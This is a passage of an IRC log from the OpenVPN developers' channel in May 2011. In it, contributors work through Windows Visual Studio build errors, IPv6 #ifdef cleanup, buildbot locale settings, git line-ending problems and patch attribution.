client, and the server is not reachable, it will create timeouts and slowness 06:54 * ecrist is here 06:58 <+ecrist> I'm wondering if janjust was accessing the site via IPv6 and if that wasn't maybe where the problem was. 07:25 <@cron2> exactly 07:25 <+ecrist> looks like someone is going to be talking about openvpn at defcon this year. 07:29 <@dazo> mattock: You will need to add this patch to your MS VS compile hell ... http://openvpn.pastebin.ca/2068914 07:30 <@cron2> yeah 07:31 <@cron2> mattock: so shall we start a round of power MS VS helling? 07:31 * cron2 has a few more patches but has no idea what mattock already has 07:32 <@cron2> like "change TARGET_WIN32 to WIN32 in tun.c" (which should take care of the add_route_connected_v6_net() error) 07:32 <@mattock> cron2: yeah, why not, I got 75 mins to spare atm 07:33 <@mattock> I'll apply dazo's patch for starters 07:33 <@mattock> ... just a few mins and I'll finish a few things 07:33 <@dazo> mattock: you can take that patch, and apply it using 'git am -s' 07:40 <@cron2> mattock: cool. 07:41 <@mattock> ok, I'm on it now 07:49 <@mattock> cron2: here's git log for the build comp: http://openvpn.pastebin.ca/2068918 07:50 <@mattock> I'll try building with dazo's patch and see what happens 07:52 <@dazo> mattock: you need to do: git config --global user.name "your name" and the same with user.email ;-) 07:52 <@mattock> dazo: I know, but the build box was never ment for development :) 07:52 <@dazo> ahh :) 07:52 <@mattock> meant 07:53 <@cron2> mattock: looking forward to see the build breakage :) 07:53 <@mattock> normally I develop on my Linux laptop and pull the changes to the build box 07:53 <@dazo> mattock: if plugin.c errors disappears now, I'll add that patch to the Trac ticket ... and set "Tested-by: " with your name 07:54 <@mattock> cron2: http://openvpn.pastebin.ca/2068920 07:55 <@mattock> dazo: they did 07:55 <@dazo> \o/ 07:55 <@dazo> :) 07:55 <@cron2> mattock: tun.c, please replace TARGET_WIN32 with WIN32 (single occurance), that should fix tun.c 07:56 <@mattock> ok 07:56 <@cron2> that's a weird one, actually - all the rest of the platforms use TARGET_XXX while windows uses WIN32, even if msys/mingw actually do define TARGET_WIN32, but MSVC doesn't... 07:57 <@dazo> sounds like a #ifdef WIN32 ... #define TARGET_WIN32 is in place then, in syshead.c 07:57 <@dazo> syshead.h* 07:58 <@cron2> since TARGET_WIN32 is only used in a single place ever, just change it there (tun.c) 07:58 <@cron2> less #defines and #ifdefs 07:58 <@dazo> fair enough 07:58 <@dazo> I thought it was more sensitive or did more stuff 07:58 <@mattock> cron2: tun.c gives no more errors 07:59 <@cron2> cool. Please add to the list of fixes to send to the list :-) 07:59 <@mattock> oki 07:59 <@cron2> now, there's the msg() and ASSERT() breakage introduced by jjo and #ifdef PF_INET6 07:59 <@mattock> or maybe the Trac ticket 07:59 <@cron2> any suggestions how to fix that? 08:00 <@cron2> all these "'#': invalid character" things are the same root cause, code like this 08:00 <@cron2> msg( ... 08:00 <@cron2> #ifdef PF_INET6 08:00 <@cron2> "foo" 08:00 <@cron2> #endif 08:00 <@cron2> ); 08:00 <@cron2> (or with ASSERT(), but it's the same thing, #ifdef not working inside macros) 08:00 <+ecrist> it would be neat if we could import openbsd's pf into openvpn 08:00 <+ecrist> :D 08:00 * cron2 wonders how that would help building on windows 08:01 <+ecrist> it wouldn't, but it would be cool 08:01 * ecrist checks, makes sure he wasn't in the #openvpn-build-on-windows-fixing-channel 08:01 <+ecrist> ;) 08:02 <@cron2> dazo: any suggestion? 08:02 <@dazo> cron2: I've deliberately avoided looking into that .... 08:02 <@cron2> no excuses 08:02 <@dazo> that looks like a nasty thing to fix 08:03 <@dazo> but this must have come in some IPv6 patches, right? 08:03 * dazo looks 08:03 <@cron2> jjo 08:03 * cron2 doesn't do this #ifdef thingie 08:04 <@cron2> (I'm not blaiming jjo - it's just "if you start doing major code surgery with #ifdef, that's what you'll end up with") 08:04 <@dazo> yuck 08:05 <@mattock> tun.c fix now here: https://community.openvpn.net/openvpn/attachment/ticket/137/ 08:05 <@vpnHelper> Title: Attachment – OpenVPN Community (at community.openvpn.net) 08:05 <@cron2> mattock: thanks. 08:06 <@cron2> mattock: can you try something else in while dazo is thinking? 08:06 <@cron2> add 08:06 <@cron2> #ifdef MSC_VER 08:06 <@mattock> of course 08:06 <@cron2> # include <Netioapi.h> 08:06 <@cron2> #endif 08:06 <@cron2> to syshead.h 08:06 <@dazo> cron2: I suggest ripping out those #ifdefs ... and merge tcp-client / tcp6-client into one string 08:06 <@cron2> mattock: 08:06 <@cron2> specifically, inside this block: 08:06 <@cron2> #ifdef WIN32 08:06 <@cron2> #include <iphlpapi.h> 08:07 <@dazo> In fact, I wonder if we should rip out all the USE_PF_INET6 ifdefs and configure option 08:07 <@cron2> ah 08:07 <@cron2> forget it 08:07 <@cron2> http://msdn.microsoft.com/en-us/library/bb408408(v=vs.85).aspx 08:07 <@vpnHelper> Title: Content not found (at msdn.microsoft.com) 08:07 <@cron2> this says that it should be sufficient to #include <iphlpapi.h> - which we already do 08:08 <@cron2> mattock: got it: please add 08:08 <@cron2> #ifdef MSC_VER 08:08 <@cron2> # include "Ntddndis.h" 08:08 <@cron2> #endif 08:08 <@mattock> to syshead.h? 08:09 <@cron2> nah 08:09 * cron2 is stupid 08:09 <@cron2> sorry 08:09 <@cron2> this microsoft help text confuses me 08:09 <@cron2> according to it, just includeing <iphlpapi.h> should be sufficient to have a working IF_NAMESIZE definition 08:10 <@cron2> mattock: what operating system are you building on? 08:10 <@mattock> Windows 7 64bit 08:10 <@mattock> oh sorry 08:10 <@mattock> Windows Server 2008 r2 08:10 <@mattock> they all look the same :D 08:10 <@cron2> same thing :) 08:11 <@cron2> mmmh 08:11 <@cron2> ok, go to start, found a different file 08:12 <@cron2> please: #include <netioapi.h> 08:12 <@cron2> http://msdn.microsoft.com/en-us/library/ff553785(v=vs.85).aspx 08:12 <@vpnHelper> Title: Content not found (at msdn.microsoft.com) 08:12 <@cron2> in syshead.h, before or after #include <iphlpapi.h> 08:12 <@mattock> ok 08:13 <@cron2> one document says "use that" the other one says "it's automatically include from iphlpapi.h, don't use that" 08:13 <@cron2> stupid 08:13 <@mattock> what error should this fix? 08:13 <@cron2> socket.c, line 2527 08:14 <@cron2> char ifname[IF_NAMESIZE]... 08:14 <@mattock> building... 08:14 <@cron2> the NDIS_IF_MAX_STRING_SIZE error (it's #define'd to that one) 08:15 <@cron2> dazo: well. I'm all in favour of ripping out another bunch of #ifdefs, especially some of these more convoluted ones 08:15 <@mattock> did not seem to help, pasting buildlog just in case 08:16 <@dazo> cron2: I'm thinking that v2.3 is *the* IPv6 release ... being able to disable only IPv6 transport but not payload is kind of silly ... it might mean we need to support 2.2 in parallel (being the last IPv4 only release), but that should be doable at least until 2.4 or 2.5 08:16 <@mattock> http://openvpn.pastebin.ca/2068930 08:16 <@cron2> dazo: then let's call it 2.6, no? :-) - but yes, I agree 08:17 <@cron2> mattock: *grumble grumble*. Could you find the include files in your system and search for the one that has NDIS_IF_MAX_STRING_SIZE in it? 08:17 <@dazo> cron2: can you have a poke at ripping out those #ifdefs? I'm kind of loaded with stuff right now and I see USE_PF_INET6 is mentioned 86 times 08:17 <@mattock> will do 08:17 <@cron2> dazo: play the ball at jjo? 08:18 <@dazo> can try, but he is kind of not as reliable as you ;-) 08:18 <@cron2> yeah, but maybe he has time :-) - and the last "can you please rebase..." mails, he was much quicker in actually doing int 08:18 <@dazo> true ... I'll shoot him an e-mail 08:19 <@cron2> since it's his code, I think he might be quicker at it, and at actually testing it (I don't have test cases for v6 transport yet) 08:19 <@cron2> ok, that leaves two build problems - IF_NAMESIZE (where mattock is searching just now) and the __u6_addr thing 08:20 * cron2 wonders how to cleanly tackle that 08:23 <@cron2> hah 08:23 <@cron2> pastebin has expired 08:24 <@mattock> cron2: if you google for "ndis_if_max_string_size", you find you talking in last IRC meeting :) 08:24 <@mattock> cron2: which one? 08:24 <@cron2> mattock: could you re-pastebin the following file, please? C:\Program Files\\Microsoft SDKs\Windows\v6.0A\include\in6addr.h 08:24 <@mattock> yep 08:24 <@cron2> mattock: it's mentioned in the MSDN URL I pasted 30+ lines up, but the header files named are already included 08:27 <@mattock> cron2: NDIS_IF_MAX_STRING_SIZE can be found from NtDDNdis.h 08:28 <@mattock> and also from netioapi.h 08:28 <@cron2> mattock: so why is netioapi.h not working, then? 08:28 <@cron2> is there something funnny #ifdef'ed around? could you pastebin netioapi.h (if it's not too long)? 08:28 <@mattock> like this in the latter file: 08:28 <@mattock> #define IF_NAMESIZE NDIS_IF_MAX_STRING_SIZE 08:28 <@mattock> if that matters 08:29 <@cron2> well, this is the start - and then we need something that tells the compiler what NDIS_IF_MAX_STRING_SIZE should *be* 08:29 <@cron2> how is it in ntddndis.h? 08:29 <@mattock> I'll package everything into a tar.gz and put it on build 08:31 <@mattock> http://build.openvpn.net/debug.tar.gz 08:33 <@cron2> mattock: try replacing <netioapi.h> with <NtDDNdis.h>... it doesn't actually define the final value, but refers to IF_MAX_STRING_SIZE, but maybe that's sufficient then 08:33 <@mattock> mkay 08:36 <@mattock> seemed to have helped, pasting buildlog 08:37 <@mattock> http://openvpn.pastebin.ca/2068942 08:38 <@cron2> cool 08:39 <@dazo> Just mailed jjo ... lets hope he's able to kick out those #ifdefs soon 08:39 <@cron2> now we have the __u6_addr stuff left, which I have no clean way to solve yet 08:39 <@mattock> I'll attach the patch to Trac 08:42 <@cron2> a "dirty" fix is easy (see the codepad.org patch) 08:43 <@cron2> but that doesn't appeal to my sense of aesthetics 08:44 <@mattock> I also attached the latest buildlog to the ticket 08:44 * cron2 defers that breakage for the moment 08:44 <@mattock> now I got to do some other, non-work stuff :) 08:45 * cron2 goes back to paid-for work and grumbles a bit more about shitty windows tools 09:29 <+krzee> [05:15] <janjust> the site is dog slow 09:29 <+krzee> [05:15] <mattock> janjust: I'll have a look 09:29 <+krzee> [05:15] <janjust> thx mattock 09:29 <+krzee> [05:15] <dazo> janjust: I think that's a request from krzee to slow you down :-P 09:29 <+krzee> LOL 09:29 <+krzee> nice dazo :-p 09:29 <@dazo> ;-) 10:11 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:46 -!- andj_afk is now known as andj 11:13 -!- dazo is now known as dazo_afk 11:14 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:42 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:00 -!- andj is now known as andj_afk 23:14 -!- Netsplit *.net <-> *.split quits: @raidz 23:45 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 23:45 -!- ServerMode/#openvpn-devel [+o raidz] by card.freenode.net --- Day changed Thu May 26 2011 00:33 -!- andj_afk is now known as andj 02:10 -!- dazo_afk is now known as dazo 02:52 <@mattock> I configured buildbot to trigger a "quick" build (atm 2 builders with no build flags) after 30 mins, and a full build (with all builders) after 24 hours 02:53 <@mattock> the "quick" builder should be those that most likely give us trouble 02:53 <@mattock> dazo: did you take a look at the build errors with --disable-crypto and --disable-ssl? 02:53 <@dazo> mattock: nope, not yet 02:55 <@mattock> options.c: In function ‘add_option’: options.c:5061: error: ‘struct options’ has no member named ‘push_peer_info’ 02:55 <@mattock> unicode _would_ be nice... 02:55 <@dazo> that's what I mentioned earlier, the web server need to set the UTF-8 flag instead of ISO-8859-1 which is does now :) 02:57 <@dazo> mattock: this is just a make from ./configure --disable-crypto --disable-ssl ? 02:58 <@mattock> there's some crap (due to buildmaster restarts) here, but it seems --disable-crypto or --disable-ssl triggers this: http://10.7.36.101:8010/one_box_per_builder 02:58 <@mattock> then we have a separate issues with --disable-management: http://10.7.36.101:8010/builders/builder-debian-5-i386-stable-master--disable-management/builds/2 02:59 <@dazo> I'll have a look now ... just saw the error on an attempt now 02:59 <@mattock> I'll see if I could fix the unicode issue, it's pretty annoying 03:07 <@mattock> some of the buildslaves seem to have fi_FI.UTF-8 locale, I'll switch that to en_US.UTF-8 03:08 <@dazo> that shouldn't be any issue ... UTF-8 is practically world-wide capable 03:08 <@mattock> ah, of course... firefox defaults to 8859-1 and the build logs (*/stdio) are UTF-8 03:08 <@mattock> and it's text, so it can't autodetect the encoding 03:08 <@dazo> exactly :) 03:09 <@mattock> I'm going to upgrade buildbot to a new version in 1-3 months anyways... I'll ask the list if that'd fix this 03:13 <@mattock> actually, it's HTML after all 03:13 <@mattock> there's a "View as text" button at the top 03:14 <@dazo> well, but there is a conflict between charsets ... somehow the webserver defaults to ISO-8859-1, which is just plain wrong ... the webserver should use UTF-8 as default ... unless buildbot system forces ISO-8859-1 03:18 * cron2 hates UTF-8 03:18 <@cron2> nothing but trouble 03:19 <@dazo> actually, I'm having less issues with UTF-8 than anything else ... no more need to worry about WINDOWS-1292, CP850/CP865, ISO-8859-* 03:19 <@mattock> +1 03:20 * dazo wonders if that point went to cron2 or him 03:20 <@mattock> to dazo 03:20 <@dazo> :) 03:20 <@dazo> but it requires that you have an OS with libraries which tackles UTF-8 correctly 03:20 <@mattock> sooner we get rid of the 8859-* crap, the better... 03:20 <@dazo> yupp! 03:21 <@cron2> we won't ever get rid of that, so better get rid of the UTF8 crap 03:21 <@mattock> same kind of growing pains as with IPv4->IPv6 migration 03:21 <@cron2> UTF8 handling in C is pain to the extreme 03:21 <@mattock> ah, I see why you hate it... got no experience on that front, lucky me :) 03:21 <@dazo> fair enough, you need to think differently in C 03:21 <@cron2> C understands single-byte characters, and has virtually no built-in support for multibyte characters 03:22 <@dazo> yeah 03:22 <@cron2> so all the standard library functions fail to work properly 03:22 <@mattock> so it's C's fault, after all? 03:22 <@mattock> not just unicode issue 03:22 <@mattock> btw. the build failure on options.c was probably caused by one particular buildslave (debian-5-amd64) having too little memory (192MB) 03:23 <@dazo> it's the f*cking americans fault who didn't think of other countries and languages when defining US-ASCII ;-) 03:23 <@mattock> others have 256MB, which seems to be enough 03:23 <@mattock> dazo: +1 03:23 <@cron2> well, it's a combination of both - programming with variable-length characters is a pain, unless the programming language really hides that from you. Even then, there's sudden surprises, like "transfer UTF-8 bytes over network" 03:24 <@cron2> dazo: ISO8859-15 nicely solves the issue for most western countries... 03:24 <@cron2> but yeah, I understand that some people want to see russian, chinese, arabic characters... 03:25 <@dazo> what's probably the real issues is that proper string libraries for MB strings in C ... something which supersedes #include <string.h>, being just as easy to work with but takes care of the MB stuff too 03:25 <@cron2> dazo: not just that. Programmers still need to be aware of things, like "if I have a string that is 3 byte in length when printed to an UTF8 terminal, but needs 6 bytes for transmission over the network" 03:26 <@cron2> well, "3 printing characters" 03:26 <@dazo> yeah, true 03:26 <@cron2> this is what bit me most often with UTF8 and network stuff - length() returning the number of "printables" (3), while you really need to transmit the number of octets in there (6)... 03:27 <@cron2> and if the software assumes that "strlen()" will be the same number for "printables" and "bytes in memory", FAIL 03:27 <@dazo> we simply need: mb_printlen(char *) and mb_memlen(char *) 03:27 <@cron2> malloc( mb_strlen(...)) 03:27 <@cron2> bang 03:27 <@cron2> yeah 03:28 <@cron2> it can be done, but the programmer needs to be aware of it, and all of the time 03:29 * cron2 stops ranting and goes back to work 03:30 <@dazo> :) 03:30 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:32 <@dazo> mattock: I've sent a patch to the mailing list solving the compile issue you found 03:32 <@mattock> ok 03:33 <@mattock> dazo: shall we package all the patches to ticket #137 in one? 03:33 <@mattock> and then send them 03:34 <@dazo> nah, I'd say lets send them separately ... git send-email can easily enough thread them properly 03:34 <@dazo> just add a cover-page, with the executive summary ... and then all the patches ... all in one-go for git send-email 03:42 <@mattock> what's the proper way to attribute, say, cron2 or you? I basically just did what you said :) 03:43 <@cron2> the blame goes to dazo, the praise to me. So easy :-9 03:44 <@cron2> seriously: just put all our names on it... 03:46 <@dazo> mattock: what do you mean? 03:46 <@dazo> commit messages? 03:46 <@mattock> dazo: yep, exactly 03:46 <@dazo> okay ... one way would be to do an extra Signed-off-by: line 03:47 <@mattock> that's what I was looking for, thanks! 03:47 <@mattock> I was just wondering if there was something like "Invented-by: " line or something :P 03:47 <@dazo> you can also do that :) 03:47 <@dazo> Mentored-by: :-P 03:48 <@dazo> those lines are basically whatever we decide to use ... but being consistent is useful when browsing the history later on 04:07 <@mattock> ok, buildslaves are now using en_US.UTF-8 04:07 <@mattock> no more cryptic finnish messages for you :P 04:12 <@dazo> :) 05:07 -!- dazo is now known as dazo_afk 06:17 -!- dazo_afk is now known as dazo 06:22 * ecrist sits at MSP, waiting for flight to Denver 07:36 <@mattock> meeting today? 07:49 * cron2 is not around 07:49 <@cron2> (and the windows build thingie will need to wait for jjo's response anyway) 07:54 <@dazo> \o/ JJO is on board with removing ENABLE_PF_INET6 #ifdef hell 07:55 <@dazo> mattock: I don't think it is really strictly needed with a meeting today ... rather spend the time cleaning up patches and get them mailed? ;-) 07:55 <@mattock> sounds good to me 07:55 <@mattock> I'm cleaning up the 4 win32 patches atm 07:55 * dazo has some paid work to catch up unto too 07:56 <@dazo> mattock: and JJO will provide the last fixes during the weekend, which will fix the msg() + #ifdef issues 07:56 <@mattock> excellent! 07:56 <@mattock> then I can start building Windows IPv6-enabled snapshots 07:56 <@dazo> Yeah :) 08:07 <@cron2> dazo: oh, cool :) 08:07 <@cron2> mattock: my socket.c fix is missing still, but I'll see that I can provide something for you over the weekend as well 08:07 <@mattock> cron2: that'd be great! 08:17 <@mattock> cron2: for some reason, when I apply the patches on top of clean "master", I get whole new set of errors in in tun.c 08:18 <@mattock> not the same we had originally 08:18 <@mattock> I'll paste the new buildlog to the Ticket 08:24 <@mattock> patches away 08:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:31 <@cron2> mattock: there should only be one patch for tun.c, no? 08:31 <@mattock> yep 08:31 <@cron2> uh 08:32 <@cron2> inet_ntop() shouldn't be commented out with /* and */, but with #ifdef MSC_VER ... #endif 08:32 <@cron2> otherwise you'll nicely kill msys/mingw building who *need* these 08:32 <@cron2> #if*n*def 08:33 <@cron2> that is "#ifndef MSC_VER" 08:33 <@cron2> same for socket.h 08:33 <@cron2> #ifndef MSC_VER 08:33 <@mattock> here's the latest buildlog 08:33 <@dazo> cron2: I dare you to suggest mattock to setup a build box for mingw builds as well :-P 08:33 <@mattock> https://community.openvpn.net/openvpn/attachment/ticket/137/vs-2008-build-errors-4.txt 08:33 <@vpnHelper> Title: Attachment – OpenVPN Community (at community.openvpn.net) 08:33 <@mattock> dazo: that's the plan actually, and we have a box already 08:34 <@dazo> w00t ... 08:34 <@mattock> the Scientific Linux 6.0 box donated by Dougy 08:34 <@dazo> mmm 08:34 <@cron2> mattock: uh, what branch are you using? 08:35 <@mattock> master on openvpn.git 08:36 <@cron2> these errors look weird, and if I look at these line numbers, they don't make sense here 08:36 <@cron2> ah 08:36 <@mattock> I'll double check if there's something funky going on 08:36 * cron2 has not pulled for a while. wait. 08:37 <@cron2> ach 08:37 <@cron2> dang windows dreckscompiler 08:37 <@mattock> german for "ah"? :P 08:38 <@cron2> that's a new one that came in via the Win32 cleanup(!) patch... 08:38 <@cron2> this line of code (tun.c, 4875): 08:38 <@cron2> const char * ifconfig_ipv6_local = print_in6_addr (tt->local_ipv6, 0, &gc); 08:38 <@cron2> should be: 08:38 <@cron2> ifconfig_ipv6_local = print_in6_addr (tt->local_ipv6, 0, &gc); 08:39 <@mattock> yep, the build box "master" branch was missing that patch 08:39 <@cron2> and it needs a "const char *ifconfig_ipv6_local;" a few lines further up, before the "struct argv argv;" line 08:39 <@cron2> can you please try that? 08:39 <@mattock> probably forgot to do a "git pull --rebase origin" -> less errors yesterday 08:39 <@mattock> yep 08:41 <@cron2> mom 08:45 <@mattock> argh, core.autocrlf is fighting back 08:46 <@mattock> TODO.ipv6 and README.ipv6 08:46 <@mattock> got to turn it off for the moment being 08:49 <@cron2> dazo: what's the MS VS conditional? MSC_VER? or _MSC_VER? 08:50 <@mattock> cron2: that fixed tun.c 08:50 <@cron2> mattock: great. Please add patch to the list :-) 08:52 <@mattock> will do 08:52 <@mattock> so socket.c needed work, too? 08:52 <@cron2> socket.c is the "known-remaining" problem 08:53 <@mattock> inet_ntop function in ifndef MSC_VER block? 08:53 <@cron2> #ifndef _MSC_VER (just googled) 08:55 <@cron2> mattock: sent comments what needs to be fixed in "PATCH 1/4" by mail 08:55 <@mattock> like this: http://openvpn.pastebin.ca/2069465 08:56 <@cron2> mattock: yes, but the #endif should be after inet_pton() 08:56 <@mattock> ok 09:00 <@mattock> cron2: win/config.h.in is not used by mingw 09:00 <@mattock> it's only used by the new build system 09:00 <@mattock> to generate a "fake" config.h for it's own use 09:01 <@mattock> ok, I think the issues are fixed 09:01 <@cron2> mattock: ah, perfect. So no #ifdef needed there 09:07 <@mattock> now it complains about inet_ntop being redefined 09:09 <@mattock> oh, a typo 09:14 <@mattock> here's the new buildlog, still some issues with socket.c: http://openvpn.pastebin.ca/2069473 09:14 <@cron2> those are expected 09:15 <@cron2> half of them is msg()/ASSERT(), the other half is "you'll get a patch from me soon" 09:15 <@mattock> ok 09:15 <@cron2> msg()/ASSERT() is what jjo is working on 09:15 <@mattock> then I'll send the two patches to the ml and hope I haven't mistyped something :) 09:15 <@mattock> nothing puts your straight better than public humiliation :P 09:16 <@cron2> well, you could put them up for review somewhere :) 09:16 <@cron2> pastebin, then I'll do a quick check 09:21 <@mattock> I'll do that 09:22 <@mattock> http://openvpn.pastebin.ca/2069477 09:23 <@cron2> ack 09:25 <@mattock> sending 09:31 <@mattock> actually not, core.autocrlf is killing me 09:31 <@mattock> won't let me commit, got to provide a linebreak patch in addition 09:36 <@mattock> mail away 09:37 <@mattock> dazo, cron2: we got two versions of TODO.IPv6 and README.IPv6 09:37 <@mattock> I think that's why my Windows build box is choking with "git add TODO.IPv6" 09:39 <@mattock> check this out: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=tree 09:39 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/tree (at openvpn.git.sourceforge.net) 09:53 <@cron2> mattock: yes, we have jjo's lowercased ones, and my uppercased ones 09:53 <@cron2> you shouldn't need to "git add" those, unless you changed something...? 10:32 <@mattock> cron2: I think it's related to core.autocrlf behavior on Windows 10:32 <@mattock> Git issue 10:32 <@mattock> _or_ caused simply by the fact that Windows does not have a clue about upper and lowercase 10:33 <@mattock> ...in filenames 10:36 <@cron2> mattock: just don't do "git add" on these files 10:37 <@cron2> (unless you change something there, or have a conflict, git add won't be needed) 10:38 <@mattock> it is needed if I want to do "git pull --rebase origin" 10:38 <@mattock> that's the issue 10:40 <@mattock> dazo: are you going to push stuff to the public repo today? 10:43 <@dazo> I'm pretty soaked into stuff today ... and there are more patches coming ... so I'll probably wait for the latest from cron2 and jjo 10:45 <@mattock> ok, I hope to get my 4 new buildslaves setup before that 10:46 <@cron2> mattock: ah, I see, you get conflicts, and then you need to do git add 10:46 <@mattock> yep 10:46 <@mattock> well actually not conflicts, git pull is just saying I got to "clean up my tree" first 10:47 <@mattock> maybe it's possible to make it less picky 10:47 <@dazo> ahh, you have local changes which either needs to be committed or stashed away before you can pull 10:48 <@dazo> remember that pull does merge or rebase ... which again will modify the tree, so it needs to be clean 10:48 <@dazo> git stash can help you to temporarily put aside local changes 10:48 <@dazo> then use git stash pop, to put them back again 10:49 <@mattock> still, I think two instances of TODO.IPv6 and README.IPv6 may be confusing Git on Windows 10:49 <@mattock> maybe renaming would be in place? 10:50 <@dazo> hmmm ... that might be .... I would rather see them merged ... TODO.ipv6 and TODO.IPv6 .... and same with README.{ipv6,IPv6} 10:50 <+ecrist> hola 10:50 <@dazo> hey! 10:50 <+ecrist> sitting in Denver, CO right now 10:51 <+ecrist> flight was bumpy. :\ 10:51 <+ecrist> I can't sleep through turbulence 10:54 <@cron2> dazo: yes, makes sense nowadays 10:54 <@cron2> I'll give it a go over the weekend 10:54 <@dazo> thx! 10:57 <@cron2> actually I think I'll wait for jjo... this still says "configure --enable-ipv6" 10:58 <@dazo> good point ... I'll point you at a preview branch when I get his stuff 11:01 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:35 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:05 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 12:10 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:53 -!- dazo is now known as dazo_afk 14:37 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 15:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:05 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 17:14 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 21:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 21:50 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:50 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Fri May 27 2011 00:03 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 00:04 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 00:04 -!- mode/#openvpn-devel [+o raidz] by ChanServ 01:30 -!- dazo_afk is now known as dazo 02:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:47 <@cron2> dazo: I'm trying to ACK your push-peer-info patch, and can't see the dependency to crypto/ssl...? could you point me to it? 02:48 <@dazo> cron2: look at the push_peer_info() function in ssl.c ... that's called from function only called when ssl is enabled 02:48 <@dazo> and the compile issue is related to a struct member not being available when ssl/crypto isn't available 02:49 <@cron2> ah, key_method_2_write() 02:49 <@dazo> yeah 02:49 <@cron2> so what happens if that feature is enabled by crypto is disabled? is it just "not called" or will something bomb? 02:49 <@dazo> it won't compile 02:50 <@cron2> why? 02:50 <@cron2> I looked at all places where ENABLE_PUSH_PEER_INFO shows up and couldn't see anything obvious, this is why I'm asking 02:51 <@dazo> because options->push_peer_info isn't available without ssl/crypto 02:51 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:51 <@dazo> and instead of adding just an #ifdef all places outside ssl/crypto stuff ... disabling push_peer_info when ssl/crypto isn't available made more sense 02:52 <@dazo> as push_peer_info() is only called when ssl/crypto is available 02:52 * dazo hopes that made sense 02:54 <@cron2> ah! 02:54 <@cron2> now it does 02:54 <@cron2> it's defined inside the #ifdef USE_SSL block in options.h 02:55 <@cron2> (which is 30+ lines above ENABLE_PUSH_PEER_INFO, so was not directly obvious to me) 02:55 <@dazo> yeah 02:55 <@dazo> I personally didn't like that push_peer_info() is only available with ssl/tls, it pushes useful info ... but I didn't have time to look at moving it out of ssl.c, as it is quite tightly integrated with ssl/crypto now 02:57 <@cron2> ack sent 02:57 <@dazo> thx! 04:58 <@vpnHelper> RSS Update - testtrac: Don't define ENABLE_PUSH_PEER_INFO if SSL is not available <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=21fc2edfc49bcc903d5cfb74c1ba2f41ac8771f0> 06:49 <@cron2> does MS VC have a 64 bit data type on 32 bit windows? like "long long" in gcc? 06:52 <@cron2> adding offsets to IPv6 addresses sucks... 07:07 <@cron2> *grumblegrumble* 07:07 * cron2 needs a decision 07:07 <@cron2> we currently have "add offsets to IPv6 addresses in (max.) 4 rounds of 32 bit addition" 07:07 <@cron2> that fails on windows, because the union has no 32bit accessor 07:08 <@cron2> lowest common denominator is "add offsets to IPv6 addresses in (max.) 16 rounds of 8 bit addition" 07:08 <@cron2> that is not as nice, but is available on all plattforms 07:08 <@mattock> dazo: did you ever get the user account from Coverity? 07:08 <@dazo> mattock: I've not heard anything from them 07:08 <@mattock> ok, I'll remind them then 07:09 <@cron2> so do we want two implementations with #ifdef WIN32, or do we take the less optimum implementation for all platforms? 07:09 <@dazo> cron2: I would probably lean towards two implementations, as this may have performance consequences on some platforms 07:10 <@cron2> it certainly has, the add-by-byte implementation takes at least 10x the time 07:10 <@cron2> but then... 07:11 <@cron2> it's called 3 times at openvpn server startup, and once when a client is assigned an address from the pool 07:11 <@cron2> (and it's never called on the client) 07:12 <@dazo> that definitely changes it a bit .... and there are no chances this might change in the future? being called more often? 07:13 <@dazo> and what about a highly utilised server, with some 100 clients connecting and disconnecting regularly? 07:13 <@dazo> (or even more than 100) 07:14 <@cron2> well, let me guess - on a 1 GHz CPU, this function is likely to take about 10-20 usecs... 07:14 <@cron2> once per client connect 07:15 <@cron2> I'd say a single malloc() is more expensive :) 07:16 <@cron2> having two implementations has the drawback of "more code", "more ifdefs" and "both variants get not tested as well"... 07:23 <@dazo> hmm ... I'm not too worried about the testing, I think that will get a fair amount of testing - it's a big Windows and Linux user base 07:23 <@dazo> the two other arguments weights heavier 07:24 <@dazo> okay, lets use a unified solution now ... and if its a too big performance hit, we'll have to reconsider 07:29 <@cron2> I'll send the patch to the list when it's tested for all 8-bit-overrun and 32-bit-overrun corner cases, and then we'll see what comments come back :) 07:30 <@dazo> wtf! from the front page of openvpn.net: "Download OpenVPN Connect (Windows, Mac) to Securely Connect to the Internet through ShieldExchange.com" ... and that Windows link points at the AS client again ... I wonder how that affects the support questions on #openvpn and the forums 07:32 <@cron2> wtf! indeed 09:08 -!- dazo is now known as dazo_afk 09:14 -!- dazo_afk is now known as dazo 10:56 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:39 <+krzee> wow 11:39 <+krzee> everytime i look at that front page it gets worse 11:39 <+krzee> lol 12:29 -!- krzee 